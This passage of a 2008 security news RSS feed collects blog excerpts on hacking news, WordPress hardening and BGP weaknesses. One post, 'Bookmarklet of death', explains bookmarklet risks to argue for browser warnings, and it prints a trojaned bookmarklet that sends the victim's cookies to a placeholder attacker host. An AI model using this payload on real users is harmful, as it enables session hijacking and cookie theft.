&lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=8F7Iel&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=8F7Iel&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Tue, 02 Sep 2008 10:51:20 +0000</pubDate>
	<dc:creator>pdp</dc:creator>
</item>
<item>
	<title>Blogs - Darknet: UK Hacker Gary McKinnon Loses Appeal Against Extradition</title>
	<guid>http://www.darknet.org.uk/?p=1020</guid>
	<link>http://www.darknet.org.uk/2008/09/uk-hacker-gary-mckinnon-loses-appeal-against-extradition/</link>
	<description>So the latest news with the Gary McKinnon case that was he was trying to fight against Extradition, he started off with Appeals against US Extradition, then he Won The Right to Lords Appeal Extradition Hearing and then he lost the Lords case then went for the European Court.
Sadly it seems he lost his appeal [...]&lt;br /&gt;
&lt;br /&gt;
Read the full post at darknet.org.uk
&lt;p&gt;&lt;a href=&quot;http://feeds.feedburner.com/~a/darknethackers?a=eTue2d&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~a/darknethackers?i=eTue2d&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/darknethackers?a=4uhWPL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/darknethackers?i=4uhWPL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/darknethackers?a=Hy03lL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/darknethackers?i=Hy03lL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/darknethackers?a=0pMlNl&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/darknethackers?i=0pMlNl&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Mon, 01 Sep 2008 18:01:02 +0000</pubDate>
	<dc:creator>Darknet</dc:creator>
</item>
<item>
	<title>Blogs - The Dark Visitor: Chinese hacker more popular than university president…wins 92% approval rating!</title>
	<guid>http://www.thedarkvisitor.com/?p=467</guid>
	<link>http://feeds.feedburner.com/~r/TheDarkVisitor/~3/380485140/</link>
	<description>&lt;p&gt;Breaking!! Double-edged sword turns out to be&amp;#8230;well, double-edged.  A &lt;a href=&quot;http://upiasiaonline.com/Society_Culture/2008/09/01/chinese_hacker_wins_public_approval/1910/&quot;&gt;Chinese hacker broke into the Tsinghua University website&lt;/a&gt; and left a stinging rebuke of the education system under the university president&amp;#8217;s name.  Turned out to be hugely popular, go figure.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GOOD:&lt;/strong&gt; Standing army ready to fight all your political battles abroad&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BAD: &lt;/strong&gt;Same standing army ready to take you to task domestically&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;The Web site of the elite Tsinghua University, considered as competitive as Beijing University and even superior in the sciences, was victimized by hackers recently. An article purporting to express the views of the university’s president, Gu Binglin, criticized China’s university education system in harsh and even dirty terms. The majority of Chinese netizens expressed support and understanding toward this unidentified hacker, however.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Throw  the hacker in jail? With a 92% approval rating, the university&amp;#8217;s president should have kept his mouth shut and hired the kid as a speach writer.&lt;/p&gt;
&lt;p class=&quot;addtoany_share_save_container&quot;&gt;
    &lt;a class=&quot;a2a_dd addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save?sitename=The%20Dark%20Visitor&amp;siteurl=http%3A%2F%2Fwww.thedarkvisitor.com%2F&amp;linkname=Chinese%20hacker%20more%20popular%20than%20university%20president%E2%80%A6wins%2092%25%20approval%20rating%21&amp;linkurl=http%3A%2F%2Fwww.thedarkvisitor.com%2F2008%2F09%2Fchinese-hacker-more-popular-than-university-presidentwins-92-approval-rating%2F&quot;&gt;&lt;img src=&quot;http://www.thedarkvisitor.com/wp-content/plugins/add-to-any/share_save_120_16.gif&quot; width=&quot;120&quot; height=&quot;16&quot; alt=&quot;Share/Save/Bookmark&quot; /&gt;&lt;/a&gt;
    
    

	&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://feeds.feedburner.com/~a/TheDarkVisitor?a=MqBHrS&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~a/TheDarkVisitor?i=MqBHrS&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/TheDarkVisitor?a=MwqE3L&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/TheDarkVisitor?i=MwqE3L&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src=&quot;http://feeds.feedburner.com/~r/TheDarkVisitor/~4/380485140&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
	<pubDate>Mon, 01 Sep 2008 13:51:08 +0000</pubDate>
	<dc:creator>Heike</dc:creator>
</item>
<item>
	<title>Blogs - Schneier On Security: My LA Times Op Ed on Photo ID Checks at Airport</title>
	<guid>http://www.schneier.com/blog/archives/2008/09/my_la_times_op.html</guid>
	<link>http://www.schneier.com/blog/archives/2008/09/my_la_times_op.html</link>
	<description>Opinion The TSA's useless photo ID rules No-fly lists and photo IDs are supposed to help protect the flying public from terrorists. Except that they don't work. By Bruce Schneier August 28, 2008 The TSA is tightening its photo ID rules at airport security. Previously, people with expired IDs or who claimed to have lost their IDs were subjected to...&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?a=rv9TuL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?i=rv9TuL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Mon, 01 Sep 2008 11:15:41 +0000</pubDate>
</item>
<item>
	<title>Blogs - GNUCITIZEN: Let’s fix the Web</title>
	<guid>https://www.gnucitizen.org/?p=1174</guid>
	<link>http://www.gnucitizen.org/blog/lets-fix-the-web/</link>
	<description>&lt;p&gt;I am heavily frustrated from the way the Web works today. Everything seems to be broken beyond reason. I really want to fix the damn thing but I realize that it is not up to me to do that. It is up to all of us to make sure that code is written in the most secure possible way. Can we do that? Perhaps not! What can we do then?&lt;/p&gt;

&lt;div class=&quot;screen&quot;&gt;&lt;a href=&quot;http://flickr.com/photos/face_it/900673849/&quot;&gt;&lt;img src=&quot;http://farm2.static.flickr.com/1341/900673849_7bb4d8b362.jpg?v=0&quot; alt=&quot;Broken Heart&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;Before I get to the point, I need to tell you how I fixed my insecure Wordpress blog. Wordpress has many security shortcomings and I was so frustrated that I decided to fix whatever I can once and for all. I believe that we can fix the Web in a similar way, but first these are all the patches that were implemented:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;mark all cookies as &lt;code&gt;secure&lt;/code&gt; to prevent leakage over unencrypted channels&lt;/li&gt;
&lt;li&gt;mark all cookies as &lt;code&gt;httpOnly&lt;/code&gt; to prevent session hijacks due to Cross-site Scripting vulnerabilities&lt;/li&gt;
&lt;li&gt;if you try to login, force SSL to prevent leakage of credentials&lt;/li&gt;
&lt;li&gt;when logged in, make sure that all URLs are HTTPS enabled to prevent leakage of sensitive information&lt;/li&gt;
&lt;li&gt;when over HTTPS make sure that all URLs that point to your domain start with &lt;code&gt;https://&lt;/code&gt; to prevent leakage of any data&lt;/li&gt;
&lt;li&gt;restrict 443 (HTTPS) to blog users and admins only&lt;/li&gt;
&lt;li&gt;disable error messages everywhere to prevent leakage of sensitive information&lt;/li&gt;
&lt;li&gt;allow upload of only known file types such as jpg, gif and png (I will add a check for the &lt;a href=&quot;https://www.gnucitizen.org/blog/gifars-and-other-issues/&quot;&gt;gifar&lt;/a&gt; problem soon)&lt;/li&gt;
&lt;li&gt;embed an IDS type of solution (&lt;a href=&quot;http://php-ids.org&quot;&gt;PHPIDS&lt;/a&gt; in my case) to block known attacks&lt;/li&gt;
&lt;li&gt;integrate with &lt;a href=&quot;http://blogsecurify.com&quot;&gt;blogsecurify&lt;/a&gt; to enable continues security checks and warn the admin if a problem is found&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I believe that this makes the blog a lot more secure. There still might be ways to attack it but this is all I can do in the most reasonable possible way, without completely breaking Wordpress. All of these fixes are implemented as a plugin which I will make available for free download soon.&lt;/p&gt;

&lt;p&gt;So how can we fix the Web? I have a few ideas in mind and all of them can be implemented in a plugin. Here they are:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;allow the user to sandbox and unsandbox applications and web resources with a single click&lt;/li&gt;
&lt;li&gt;sandbox by default known applications such as GMail, Yahoo Mail, etc.&lt;/li&gt;
&lt;li&gt;in the sandbox, mark all cookies as &lt;code&gt;secure&lt;/code&gt; to prevent session leaks&lt;/li&gt;
&lt;li&gt;in the sandbox, mark none-session cookies as &lt;code&gt;httpOnly&lt;/code&gt; to prevent session hijacks due to XSS&lt;/li&gt;
&lt;li&gt;make sure that while on HTTPS, all embedded resources are delivered over HTTPS as well.&lt;/li&gt;
&lt;li&gt;provide the option to turn off JavaScript, JAVA, Flash, SilverLight, etc on per-sandbox basis&lt;/li&gt;
&lt;li&gt;block any external requests to sandboxed applications&lt;/li&gt;
&lt;li&gt;implement the PHPIDS signature matching mechanism in JavaScript&lt;/li&gt;
&lt;li&gt;if the HTML structure is heavily broken, block the page to prevent some types of persistent XSS&lt;/li&gt;
&lt;li&gt;record ssl signatures on trusted network and warn if signature changes while on untrusted network&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I think that this type of solution will make the Web a lot more secure. It definitely wont fix it, but it will make Sidejacking attacks not easy. It will block the majority of CSRF and XSS attacks. It will provide certain mitigations against persistent XSS attacks. It will provide some mitigations against Browser exploits which employ Flash or Java technology to root the browser. It is not perfect, but it looks good enough to me.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Next stop: fixing the browser!&lt;/em&gt;&lt;/p&gt;&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=0uSWKK&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=0uSWKK&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=Mdf7Gk&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=Mdf7Gk&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=YPzw3k&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=YPzw3k&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=oZusAK&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=oZusAK&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=OlFNuk&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=OlFNuk&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=LVXZMK&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=LVXZMK&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=bB8EWK&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=bB8EWK&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=slhSyk&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=slhSyk&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Sun, 31 Aug 2008 08:12:25 +0000</pubDate>
	<dc:creator>pdp</dc:creator>
</item>
<item>
	<title>Blogs - GNUCITIZEN: Bookmarklet of death: Domain hijacking without 0days</title>
	<guid>https://www.gnucitizen.org/?p=1142</guid>
	<link>http://www.gnucitizen.org/blog/bookmark-of-death-domain-hijacking-without-0days/</link>
	<description>&lt;p&gt;
So we all know about &lt;strong&gt;cross-domain vulnerabilities&lt;/strong&gt; that allow attackers to run code within the security context of the target domain. Typically, they are either a XSS bug on the server-side application, or a bug in the client (web browser plugin or web browser itself). Most of the times, these vulnerabilities require some type of interaction from the victim user. i.e.: being tricked to click on a link or visit a malicious page.
&lt;/p&gt;
&lt;div class=&quot;screen&quot;&gt;&lt;a href=&quot;http://www.flickr.com/photos/dhammza/361955804/&quot;&gt;&lt;img src=&quot;http://farm1.static.flickr.com/148/361955804_317e8e6c6a.jpg?v=0&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;
Now, most techies are familiar with bookmarklets. Well, what&amp;#8217;s funny is that many users with knowledge of security - including many infosec professionals - are not aware of the security implications of running a bookmarklet.
&lt;/p&gt;

&lt;p&gt;
The two most common ways to run a &lt;strong&gt;bookmarklet&lt;/strong&gt; are:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;pasting the JavaScript code - which must start with a &lt;code&gt;javascript:&lt;/code&gt; statement - in the address bar and press ENTER&lt;/li&gt;
&lt;li&gt;click on the bookmarklet under the &amp;#8216;Bookmarks&amp;#8217; menu (must have been previously added)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
On one hand, a bookmarklet is a piece of JavaScript that allows you to do something cool with the current webpage. On the other hand, from a security point of view, a bookmarklet is scripting code injection within the security context of the current domain/site by design.
&lt;/p&gt;

&lt;p&gt;
Or put it this way: you&amp;#8217;ve got the equivalent of a XSS vulnerability in the target site or a &lt;strong&gt;cross-domain vulnerability&lt;/strong&gt; on the web browser. Except that you don&amp;#8217;t need to discover a new vulnerability. &lt;em&gt;No 0days required!&lt;/em&gt; So like in cross-domain vulnerabilities we can inject payloads that allow us to:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;steal cookies (session hijacking)&lt;/li&gt;
&lt;li&gt;scrape pages containing interesting data and submit it to the attacker&amp;#8217;s site&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.gnucitizen.org/blog/google-urchin-password-theft-madness/&quot;&gt;steal usernames and passwords&lt;/a&gt; that are autocompleted by the browser&lt;/li&gt;
&lt;li&gt;perform advanced phishing attacks. i.e.: by overwriting the login form&amp;#8217;s action attribute or injecting a new fake login form&lt;/li&gt;
&lt;li&gt;etc &amp;#8230;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
Also, as in cross-domain vulnerabilities, there is some level of user interaction required: in this case, the attacker must trick the victim to run a bookmarklet while on the target site.
&lt;/p&gt;

&lt;p&gt;
So how can we increase the chance of the victim being tricked to run a bookmarklet? Well, a nice trick is to use a fun and flashy bookmarklet, such as one that reads the images of the current page and creates an animation with them. You could of course write the code from scratch, but we won&amp;#8217;t do that as we&amp;#8217;re too lazy aren&amp;#8217;t we? Instead, we&amp;#8217;ll trojan a publicly available (fun and flashy) bookmarklet with our malicious code. In this case, our malicious payload steals the victim&amp;#8217;s cookie for the purpose of hijacking his/her session. Notice that the cookies would be sent to &lt;a href=&quot;http://lab.gnucitizen.org/projects/xphp-capture-received-data-and-email-it-to-the-attacker&quot;&gt;x.php&lt;/a&gt; which the attacker would need to host on his/her site. This PHP script sends any received data (cookie in this case) to the attacker&amp;#8217;s email:
&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
javascript:/*%20start%20of%20evil%20code*/(function(){c=document.createElement(&amp;quot;img&amp;quot;);c.src=&amp;quot;http://evil.domain.foo/x.php?&amp;quot;+document.cookie;c.width=0;c.height=0;document.body.appendChild(c)})();/*end%20of%20evil%20code%20*/window.scrollTo(0,%200);%20R=0;%20x1=.1;%20y1=.05;%20x2=.25;%20y2=.24;%20x3=1.6;%20y3=.24;%20x4=300;%20y4=200;%20x5=300;%20y5=200;%20DI=document.getElementsByTagName(&amp;amp;aposimg&amp;amp;apos);%20DIL=DI.length;%20function%20A(){for(i=0;%20i-DIL;%20i++){DIS=DI[%20i%20].style;%20DIS.position=&amp;amp;aposabsolute&amp;amp;apos;%20DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+&amp;amp;apospx&amp;amp;apos;%20DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+&amp;amp;apospx&amp;amp;apos}R++}setInterval(&amp;amp;aposA()&amp;amp;apos,5);%20void(0);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;
Notice the malicious payload is within JS comments. There is nothing special about the evil code. It simply creates an image tag which results in the victim&amp;#8217;s cookie being sent to a third-party site &lt;strong&gt;in the background&lt;/strong&gt;. The non-malicious payload will also execute, which results in the images of the current page moving around the screen. It&amp;#8217;s quite neat, as &lt;em&gt;the user won&amp;#8217;t notice anything suspicious actually happened&lt;/em&gt;. Needless to say, you need to replace &lt;code&gt;evil.domain.foo&lt;/code&gt; with the site hosting the &lt;code&gt;x.php&lt;/code&gt; script.
&lt;/p&gt;

&lt;p&gt;
You can picture this kind of attack actually happening in sites where there are cross-user functionalities. i.e.: social networking sites such as Facebook, MySpace and so on &amp;#8230;

&lt;p&gt;
Thinking about the dangers of running a bookmarklet brings us to the next question:&lt;/p&gt;

&lt;p&gt;
&lt;em&gt;Why in the world do browsers NOT show a warning before running a bookmarklet?&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
After all, browsers &lt;em&gt;do&lt;/em&gt; display warnings for other potentially dangerous actions such as:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;visiting a site with an invalid SSL certificate&lt;/li&gt;
&lt;li&gt;clicking on a form that submits data in clear&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
I do understand that it would be annoying to warn users every time they run a bookmarklet, but I think it would be sensible to show a warning at least &lt;em&gt;the first time&lt;/em&gt; a given bookmarklet is executed. If you work for a popular web browser vendor such as Microsoft or Mozilla, you can think of this as my wish for the day! I&amp;#8217;d love to hear your feedback if you are reading this!
&lt;/p&gt;&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=ttvBkK&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=ttvBkK&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=g0eDok&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=g0eDok&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=bKe5Dk&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=bKe5Dk&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=FDhGuK&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=FDhGuK&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=pqM4Pk&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=pqM4Pk&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=42ER8K&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=42ER8K&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=3IaewK&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=3IaewK&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/gnucitizen?a=ViJ53k&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/gnucitizen?i=ViJ53k&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;&lt;/p&gt;</description>
	<pubDate>Sat, 30 Aug 2008 11:49:35 +0000</pubDate>
	<dc:creator>Adrian 'pagvac' Pastor</dc:creator>
</item>
<item>
	<title>Research - DVLabs: Three Letter Acronyms and the Imminent Death of the Net</title>
	<guid>http://feeds.feedburner.com/~r/dvlabsblog/~3/378514463/three-letter-acronyms-and-the-imminent-death-of-the-net</guid>
	<link>http://feeds.feedburner.com/~r/dvlabsblog/~3/378514463/three-letter-acronyms-and-the-imminent-death-of-the-net</link>
	<description>Posted by Rob King&lt;br /&gt;&lt;br /&gt;Years ago, I was much more heavily involved in the network engineering side of the network world. Don't get me wrong, there's still plenty of groveling through packet captures here at TippingPoint's orbiting HQ, but I used to actually design networks and configure routers and do all of the nuts-and-bolts stuff that makes networks run.&lt;br /&gt;&lt;br /&gt;As a result of this, I know a reasonable amount about various low-level network protocols, including the wonderful, critical, byzantine, and obscure &lt;a href=&quot;http://en.wikipedia.org/wiki/Border_Gateway_Protocol&quot;&gt;Border Gateway Protocol&lt;/a&gt; (BGP).&lt;br /&gt;&lt;br /&gt;BGP is an example of an Exterior Gateway Protocol (EGP), as opposed to an Interior Gateway Protocol (IGP). There, see? That clears things up.&lt;br /&gt;&lt;br /&gt;Seriously, though. The difference between interior and exterior gateway protocols is whether they are designed to maintain routing for nodes within an Autonomous Systems (ASes) or nodes between ASes.&lt;br /&gt;&lt;br /&gt;An Autonomous System is, well, an autonomous system. It is a network that, at the lowest layer of the Internet, is distinct from all other networks. Basically, an autonomous system is supposed to be entirely responsible for traffic within its borders. If you know in what AS your traffic's destination lives, once it hits that AS, it ceases to be anyone's responsibility but theirs to get that traffic properly routed.&lt;br /&gt;&lt;br /&gt;Interior gateway protocols are designed to handle routes within ASes. Common protocols include Open Shortest Pathway First (OSPF), Interior Gateway Routing Protocol (IGRP) and Enhanced Interior Gateway Routing Protocol (EIGRP). These protocols are used to maintain routing tables and figure out the best paths between hosts in one AS - such as between campuses in a large corporation or points-of-presence in a telecommunications network.&lt;br /&gt;&lt;br /&gt;EGPs handle the problem of routing traffic between different ASes. For example, a multi-homed host may be reachable via both Time Warner's network and Sprint's network. That means that the multi-homed host is reachable via two autonomous systems. Which route should be chosen to get there?&lt;br /&gt;&lt;br /&gt;ASes use EGPs to advertise the ranges of IP addresses that their autonomous system knows how to route to, and how well they can route traffic to them.&lt;br /&gt;&lt;br /&gt;The only EGP currently in use is the Border Gateway Protocol. BGP is considered to be the core routing protocol of the Internet; it maintains all of the routes between all of the networks that, together, comprise the modern Internet. It is therefore very important.&lt;br /&gt;&lt;br /&gt;Well, BGP was designed in a simpler time, a time when you felt like you could trust your neighbor. Therefore, security wasn't really its strong point. In fact, its security is a major weak point.&lt;br /&gt;&lt;br /&gt;What's the point of all this, you may ask? Well, everyone remembers&lt;a href=&quot;http://en.wikipedia.org/wiki/Dan_Kaminsky&quot;&gt; Dan Kaminsky's ginormous DNS flaw&lt;/a&gt; that made the rounds and scared a lot of people. Now, an equally-if-not-worse way of &lt;a href=&quot;https://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-pilosov-kapela.pdf&quot;&gt;exploiting the design of BGP&lt;/a&gt; has surfaced, thanks to Alex Polisov and Tony Kapela at this year's just-passed &lt;a href=&quot;http://www.defcon.org/&quot;&gt;DefCon conference&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I'm not going to go into the details of the attack - I don't want to steal their thunder - but I'll go over a bit why this is scary and interesting.&lt;br /&gt;&lt;br /&gt;First off, BGP really is everywhere, just like DNS. Unlike DNS, however, it's not ubiquitously understood - a lot of network administrators have never even heard of BGP, and very few people have ever actually administered BGP. Therefore a flaw in the design of BGP may not be addressed as quickly as a flaw in DNS. Active attacks against the flaw might not even be noticed by most network engineers.&lt;br /&gt;&lt;br /&gt;The other thing that makes this interesting is that it's possibly the sign of a true sea change in the way the Internet works. When the Internet first got off of the ground, all of the nodes were more-or-less trusted, and the protocols were designed accordingly. Nowadays, none of the nodes can trust any of the other nodes. The Internet has grown very quickly, but the core protocols have, by necessity, stayed close to their original designs.&lt;br /&gt;&lt;br /&gt;The core protocols are going to have to start changing, perhaps more quickly than we're really comfortable with. The Big One - the transition to IPv6, hasn't happened yet, and it will undoubtedly be the worst shakeup the Internet has undergone since the &lt;a href=&quot;http://www.catb.org/jargon/html/S/September-that-never-ended.html&quot;&gt;September That Never Ended&lt;/a&gt;. Even after that, though, we're going to have to ferret out all of the older protocols, figure out how to secure them, and then - worst of all - go through the long and arduous process of actually securing them. &lt;br /&gt;&lt;br /&gt;As an example, look at &lt;a href=&quot;http://en.wikipedia.org/wiki/DNSSEC&quot;&gt;DNSSEC&lt;/a&gt; - the security extensions for DNS, were first publicized in 1997. Still, after 11 years, practically no one has implemented DNSSEC. &lt;a href=&quot;http://en.wikipedia.org/wiki/SMTP-AUTH&quot;&gt;Certificate-authenticated email transfer&lt;/a&gt; is likewise languishing.&lt;br /&gt;&lt;br /&gt;All of these efforts failed because as long as one individual in the system is unsecured, the whole thing breaks down. Changing to a completely secure DNS, SMTP, or BGP infrastructure is going to be like the &lt;a href=&quot;http://en.wikipedia.org/wiki/Dagen_H&quot;&gt;day Sweden switched to driving on the right&lt;/a&gt;. It's going to be expensive, it's going to be painful, and it's going to cause some accidents, but in the end, we'll all be better off for it.&lt;img src=&quot;http://feeds.feedburner.com/~r/dvlabsblog/~4/378514463&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
	<pubDate>Sat, 30 Aug 2008 00:04:46 +0000</pubDate>
</item>
<item>
	<title>Blogs - Schneier On Security: Friday Squid Blogging: Translucent Squid</title>
	<guid>http://www.schneier.com/blog/archives/2008/08/translucent_squ.html</guid>
	<link>http://www.schneier.com/blog/archives/2008/08/translucent_squ.html</link>
	<description>Photos here....&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?a=3M4MdK&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?i=3M4MdK&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Fri, 29 Aug 2008 22:41:45 +0000</pubDate>
</item>
<item>
	<title>WebApp - CGISecurity.com: Understanding the security changes in Flash Player 10 beta</title>
	<guid>http://www.cgisecurity.com/cgi-bin/redir.cgi?story=080807&amp;ref=rss</guid>
	<link>http://www.cgisecurity.com/cgi-bin/redir.cgi?story=080807&amp;ref=rss</link>
	<pubDate>Fri, 29 Aug 2008 21:58:37 +0000</pubDate>
</item>
<item>
	<title>Blogs - Schneier On Security: Another Voting Machine Cartoon</title>
	<guid>http://www.schneier.com/blog/archives/2008/08/another_voting.html</guid>
	<link>http://www.schneier.com/blog/archives/2008/08/another_voting.html</link>
	<description>You know your industry has problems when mainstream comic strips make fun of you....&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?a=NbuZhK&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?i=NbuZhK&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Fri, 29 Aug 2008 20:43:18 +0000</pubDate>
</item>
<item>
	<title>Research - DVLabs: ThreatLinQ: A Brave New World: Legitimate Script Obfuscation</title>
	<guid>http://feeds.feedburner.com/~r/dvlabsblog/~3/378283713/threatlinq-a-brave-new-world-legitimate-script-obfuscation-</guid>
	<link>http://feeds.feedburner.com/~r/dvlabsblog/~3/378283713/threatlinq-a-brave-new-world-legitimate-script-obfuscation-</link>
	<description>Posted by Marc Eisenbarth&lt;br /&gt;&lt;p&gt;As a filter writer, there is a blurred line between blocking real attacks and Internet annoyances. For example, today's Internet advertisements often use the same obfusction tactics as attackers in order to avoid scrubbing by content filtering systems.&lt;br /&gt;&lt;br /&gt;I have been doing some research on Peer-To-Peer (P2P) filters and came across something that illustrates this point very nicely. I came across the following trace that sent to a server that is on one of my IP watch 